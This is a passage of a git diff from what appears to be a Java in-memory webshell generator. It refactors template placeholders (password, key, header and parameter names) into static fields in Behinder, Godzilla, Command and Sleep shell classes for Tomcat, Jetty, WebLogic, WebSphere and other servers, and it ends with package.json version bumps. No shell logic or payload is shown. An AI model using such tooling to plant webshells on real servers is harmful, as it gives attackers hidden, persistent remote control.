"{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java index 8ccd4712..3eee4c53 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java index 91cd127e..1839e95a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java index be859387..5e363af2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java index 2ada8966..8e8638c6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java index 1cf3bea7..a39b1fa0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java index 505fb073..8d39963a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java index 82d06857..34a46350 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java index cd9a8a3a..a9392aa2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java index a27f1b60..7f1bd22d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java index de9dc5db..239a0679 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java index 043cf6cf..fd961b70 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java index d6e004b9..ab88ea5c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderFilter extends ClassLoader implements Filter { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @SuppressWarnings("all") public Class g(byte[] b) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java index 53348817..3bccf373 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -17,9 +17,9 @@ import java.util.Map; */ public class BehinderServlet extends ClassLoader implements Servlet { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; @Override @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index 13bb9b1f..722ab4c5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index e84efdf8..31d9c7e0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -11,7 +11,7 @@ import java.io.InputStream; * @since 2024/11/24 */ public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; + public static String paramName; @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 7b7cc468..e3b04893 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @since 2024/12/15 */ public class CommandServlet extends HttpServlet { - public String paramName = "{{paramName}}"; + public static String paramName; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index b64e1029..2f13167e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index 2cd38b5f..ff1929bc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -13,11 +13,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaFilter() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 52347d5d..3c358e10 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -14,11 +14,11 @@ import java.io.IOException; * @since 2024/12/15 */ public class GodzillaServlet extends ClassLoader implements Servlet { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaServlet() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 9fad8dfe..5006a0d8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java index b60ff53a..e933a653 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java @@ -8,7 +8,7 @@ import java.io.IOException; * @since 2024/12/14 */ public class SleepFilter implements Filter { - private int second = 10; + public static int second = 10; @Override public void destroy() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java index e17220eb..b65bc9f5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java @@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener; * @since 2024/12/14 */ public class SleepListener implements ServletRequestListener { - private int second = 10; + private static int second = 10; @Override public void requestDestroyed(ServletRequestEvent sre) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java index 700f9492..f06708d7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java @@ -12,7 +12,7 @@ import java.io.IOException; * @since 2024/12/14 */ public class SleepValve implements Valve { - private int second = 10; + private static int second = 10; @Override public Valve getNext() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java index 8a8a3ad1..81202c74 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java index a7422225..0368bfb6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java index e7c9349f..85de3ec7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java @@ -14,7 +14,7 @@ import java.io.InputStream; */ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { - public String paramName = "{{paramName}}"; + public static String paramName; private Session session; @Override diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java index f27c0ede..2b94c743 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java index 5858d765..8c70f130 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java @@ -20,9 +20,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve6 extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java index 3923710f..b9ee7488 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve7 extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java index 58a4f2b0..18dee413 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java @@ -14,7 +14,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve6 implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java index d74c6a88..df03d085 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java @@ -13,7 +13,7 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve7 implements Valve { - public String paramName = "{{paramName}}"; + public static String paramName; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java index cd2116a9..7a68652c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java @@ -16,11 +16,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve6 extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java index 25abd2c1..65b20f0f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java @@ -15,11 +15,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve7 extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; protected Valve next; protected boolean asyncSupported; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java index 2dbb4108..7a99db7d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java index d4fa06b8..af3b190c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java @@ -13,7 +13,7 @@ import java.util.Map; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java index fdbc6b8e..3eec30ab 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java @@ -15,11 +15,11 @@ import java.util.Map; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java index 34b9f2d5..6ef7fdc7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java index 1baa26b2..7ad51c5f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java index 2b21158a..12919aeb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java @@ -14,7 +14,7 @@ import java.io.InputStream; */ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { - public String paramName = "{{paramName}}"; + public static String paramName; private Session session; @Override diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java index 4f7a513e..e862cd7e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java index ba7d8538..34b0fe29 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java index 736d656f..ed676c41 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java index 0f5f3908..94741501 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/web/bun.lockb b/web/bun.lockb index 9b34050a..b59e5fa4 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index 537b8699..b3a4ff40 100644 --- a/web/package.json +++ b/web/package.json @@ -13,8 +13,8 @@ }, "devDependencies": { "@biomejs/biome": "1.9.4", - "@tanstack/router-plugin": "^1.92.11", - "@types/node": "^22.10.2", + "@tanstack/router-plugin": "^1.93.0", + "@types/node": "^22.10.3", "@types/react": "^19.0.2", "@types/react-dom": "^19.0.2", "@vitejs/plugin-react": 